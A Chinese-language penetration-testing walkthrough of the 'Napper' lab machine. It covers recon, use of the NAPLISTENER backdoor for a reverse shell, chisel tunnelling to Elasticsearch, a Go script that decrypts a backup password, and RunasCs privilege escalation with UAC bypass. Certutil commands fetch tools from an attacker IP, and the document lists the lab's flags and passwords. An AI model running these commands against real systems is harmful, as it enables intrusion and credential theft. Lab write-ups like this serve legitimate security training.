[Meachines][Hard]Napper
字数 1359 2025-08-19 12:42:16
Napper 渗透测试实战教学文档
1. 目标识别与信息收集
1.1 初始扫描
使用Nmap进行全端口扫描和服务识别:
nmap -p- -sC -sV 10.10.11.240 --min-rate 1000
1.2 Web目录枚举
使用Gobuster进行目录扫描:
gobuster dir -u "https://app.napper.htb" -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -k
1.3 子域名枚举
使用FFuf进行子域名爆破:
ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --fs 5602 -t 100 -u https://napper.htb -H "Host: FUZZ.napper.htb"
发现子域名后,更新/etc/hosts文件:
echo "10.10.11.240 napper.htb app.napper.htb internal.napper.htb" >> /etc/hosts
2. 认证绕过与初始访问
2.1 基础认证发现
在https://app.napper.htb/posts/setup-basic-auth-powershell/找到如何设置基础认证的说明
2.2 访问内部站点
使用示例凭据访问internal.napper.htb,发现关于NAPLISTENER恶意软件的信息
3. NAPLISTENER后门利用
3.1 NAPLISTENER分析
NAPLISTENER是一个C#编写的HTTP监听器,特点:
- 使用
Wmdtc.exe伪装成Microsoft分布式事务协调器服务 - 监听HTTP请求并执行Base64编码的.NET程序集
- 通过
/ews/MsExgHealthCheckd/端点接收命令
3.2 使用NAPLISTENER扫描工具
从GitHub获取工具:
git clone https://github.com/MartinxMax/Naplistener
扫描目标确认后门存在:
python3 Naplistener.py -u "https://napper.htb"
建立反向shell:
python3 Naplistener.py -u "https://napper.htb" -lh 10.10.16.15 -lp 10032
4. 权限提升路径
4.1 发现LAPS替代方案
在C:\Temp\www\internal\content\posts\no-more-laps.md发现:
- 组织正在用自定义方案替代LAPS
- 备份用户密码存储在本地Elastic数据库中
- IT部门将部署解密客户端
4.2 发现Elasticsearch凭据
在internal-laps-alpha目录下的.env文件中发现:
username:user
password:DumpPassword$Here
4.3 建立Elasticsearch隧道
使用Chisel建立反向隧道:
# Kali端
chisel server --port 9201 --reverse
# 目标机
powershell -c certutil -urlcache -split -f "http://10.10.16.15/chisel.exe" chisel.exe
.\chisel.exe client 10.10.16.15:9201 R:9200:127.0.0.1:9200
4.4 查询Elasticsearch数据
列出所有索引:
curl -k https://127.0.0.1:9200/_cat/indices -u 'user:DumpPassword$Here'
查询特定索引数据:
curl -k https://127.0.0.1:9200/seed/_search -u 'user:DumpPassword$Here' | jq
curl -k https://127.0.0.1:9200/user-00001/_search -u 'user:DumpPassword$Here' | jq
5. 逆向工程分析
5.1 获取并分析a.exe
使用FTP传输文件:
# Kali设置FTP服务器
pip3 install pyftpdlib
mkdir ftp_temp; cd ftp_temp
python3 -m pyftpdlib -w -u martin -P martin -p 21
# 目标机上传
curl -T a.exe -u martin:martin ftp://10.10.16.15/
5.2 逆向分析发现
使用Binary Ninja分析发现:
- 程序用Golang编写
- 主要函数:
main.main,main.randStringList,main.genKey,main.encrypt - 使用AES CFB模式加密数据
- 密钥生成依赖Elasticsearch中的种子值
6. 密码解密与权限提升
6.1 编写解密程序
创建Go解密脚本decrypt.go:
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
mrand "math/rand"
"os"
"strconv"
)
func genKey(seed_key string) []byte {
seed, _ := strconv.Atoi(seed_key)
mrand.Seed(int64(seed))
key := make([]byte, 16)
for i := 0; i < 16; i++ {
key[i] = byte(mrand.Intn(255-1) + 1)
}
return key
}
func decrypt(key []byte, cryptoText string) string {
ciphertext, _ := base64.URLEncoding.DecodeString(cryptoText)
block, err := aes.NewCipher(key)
if err != nil {
panic(err)
}
if len(ciphertext) < aes.BlockSize {
panic("ciphertext too short")
}
iv := ciphertext[:aes.BlockSize]
ciphertext = ciphertext[aes.BlockSize:]
stream := cipher.NewCFBDecrypter(block, iv)
stream.XORKeyStream(ciphertext, ciphertext)
return fmt.Sprintf("%s", ciphertext)
}
func main() {
seed_key := genKey(os.Args[1])
decrypted_pass := decrypt(seed_key, os.Args[2])
fmt.Println("Decrypted pass: ", decrypted_pass)
}
6.2 解密备份用户密码
编译并运行解密程序:
go build decrypt.go
./decrypt $(curl -s -k https://127.0.0.1:9200/seed/_search -u 'user:DumpPassword$Here' | jq -r '.hits.hits[0]._source.seed') "$(curl -s -k https://127.0.0.1:9200/user-00001/_search -u 'user:DumpPassword$Here' | jq -r '.hits.hits[0]._source.blob')"
获取备份用户凭据:
username: backup
password: mpApccnYMYWZNomPRxErJBLKvFvmkiWHqSDwouQg
6.3 使用RunasCs提权
下载并执行RunasCs:
powershell -c certutil -urlcache -split -f "http://10.10.16.15/RunasCs.exe" RunasCs.exe
.\RunasCs.exe backup mpApccnYMYWZNomPRxErJBLKvFvmkiWHqSDwouQg powershell.exe -r 10.10.16.15:10077 --bypass-uac
7. 获取Flag
7.1 用户Flag
type C:\Users\ruben\Desktop\user.txt
# acfc1c341ef2ec0ea83e1c14899371c2
7.2 管理员Flag
type c:\users\administrator\desktop\root.txt
# 26f995d74ea1f7b576938bbf0de6ee1b
关键知识点总结
- NAPLISTENER后门:了解如何识别和利用自定义HTTP监听器后门
- Elasticsearch利用:通过暴露的Elasticsearch服务获取敏感信息
- Golang逆向:分析Golang二进制文件的关键函数和逻辑
- AES CFB解密:实现基于种子值的AES解密过程
- RunasCs提权:使用替代凭据执行高权限操作的技术
此渗透测试过程展示了从信息收集到权限提升的完整链条,重点在于理解应用程序逻辑、逆向工程和加密机制分析。